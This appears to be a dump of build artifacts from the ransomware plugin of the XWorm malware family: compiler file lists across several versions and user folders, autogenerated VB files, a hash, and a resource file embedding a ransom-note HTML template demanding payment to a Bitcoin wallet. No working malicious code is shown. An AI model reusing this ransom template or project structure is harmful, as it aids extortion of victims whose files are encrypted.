C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.2 Optimized\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.3 Optimized\XWorm V5.3\XWorm V5.3\XWorm V5.3\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.4 Optimized\XWorm V5.4\XWorm V5.4\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm V5.5\Dark Worm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.5 Optimized\XWorm V5.5\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbprojAssemblyReference.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbprojAssemblyReference.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbprojAssemblyReference.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbprojAssemblyReference.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Dark Worm\bin\Debug\Plugins\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbprojAssemblyReference.cache
C:\Users\byt3d4sh\Desktop\XWorm SRC\XWorm\bin\Debug\Plugins\Ransomware.dll
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\XWorm\bin\Debug\Plugins\Ransomware.dll
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
C:\Users\byt3d4sh\Desktop\src 2\XWorm\bin\Debug\Plugins\Ransomware.dll
C:\Users\byt3d4sh\Desktop\src 2\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.AssemblyReference.cache
C:\Users\byt3d4sh\Desktop\src 2\Plugins\Ransomware\Ransomware\obj\Debug\Plugin.Resources.resources
C:\Users\byt3d4sh\Desktop\src 2\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.GenerateResource.cache
C:\Users\byt3d4sh\Desktop\src 2\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\byt3d4sh\Desktop\src 2\Plugins\Ransomware\Ransomware\obj\Debug\Ransomware.dll
@@ -0,0 +1,59 @@
<?xml version="1.0"?>
<doc>
<assembly>
<name>
Ransomware
</name>
</assembly>
<members>
<member name="T:Ransomware.My.Resources.Resources">
<summary>
A strongly-typed resource class, for looking up localized strings, etc.
</summary>
</member>
<member name="P:Ransomware.My.Resources.Resources.ResourceManager">
<summary>
Returns the cached ResourceManager instance used by this class.
</summary>
</member>
<member name="P:Ransomware.My.Resources.Resources.Culture">
<summary>
Overrides the current thread's CurrentUICulture property for all
resource lookups using this strongly typed resource class.
</summary>
</member>
<member name="P:Ransomware.My.Resources.Resources.html">
<summary>
Looks up a localized string similar to &lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;body style=&quot;background-color:#000000;&quot;&gt;
&lt;/body&gt;
&lt;body&gt;
&lt;center&gt;
&lt;br&gt;
&lt;br&gt;
&lt;font size=&quot;6&quot;
face=&quot;verdana&quot;
color=&quot;#FFFFFF&quot;&gt;
Oops All Your Files Are Encrypted
&lt;/font&gt;
&lt;br&gt;
&lt;br&gt;
&lt;font size=&quot;5&quot;
face=&quot;arial&quot;
color=&quot;#FFFFFF&quot;&gt;
Send %M% To The Wallet : %BTC%
&lt;/font&gt;
&lt;br&gt;
&lt;br&gt;
&lt;font size=&quot;5&quot;
color=&quot;#FFFFFF&quot;&gt;
Contact M [rest of string was truncated]&quot;;.
</summary>
</member>
</members>
</doc>
@@ -0,0 +1,7 @@
' <autogenerated/>
Option Strict Off
Option Explicit On
Imports System
Imports System.Reflection
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName:=".NET Framework 4")>
@@ -0,0 +1,7 @@
' <autogenerated/>
Option Strict Off
Option Explicit On
Imports System
Imports System.Reflection
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName:=".NET Framework 4.8")>
@@ -0,0 +1 @@
fd924df98850668d3168561828ccd1b435ac72200a6d594a2de4ea99916a947d
@@ -0,0 +1,8 @@
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Ransomware\Ransomware\bin\Release\Ransomware.dll
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Ransomware\Ransomware\bin\Release\Ransomware.pdb
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Release\Ransomware.vbproj.AssemblyReference.cache
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Release\Plugin.Resources.resources
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Release\Ransomware.vbproj.GenerateResource.cache
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Release\Ransomware.vbproj.CoreCompileInputs.cache
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Release\Ransomware.dll
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\Ransomware\Ransomware\obj\Release\Ransomware.pdb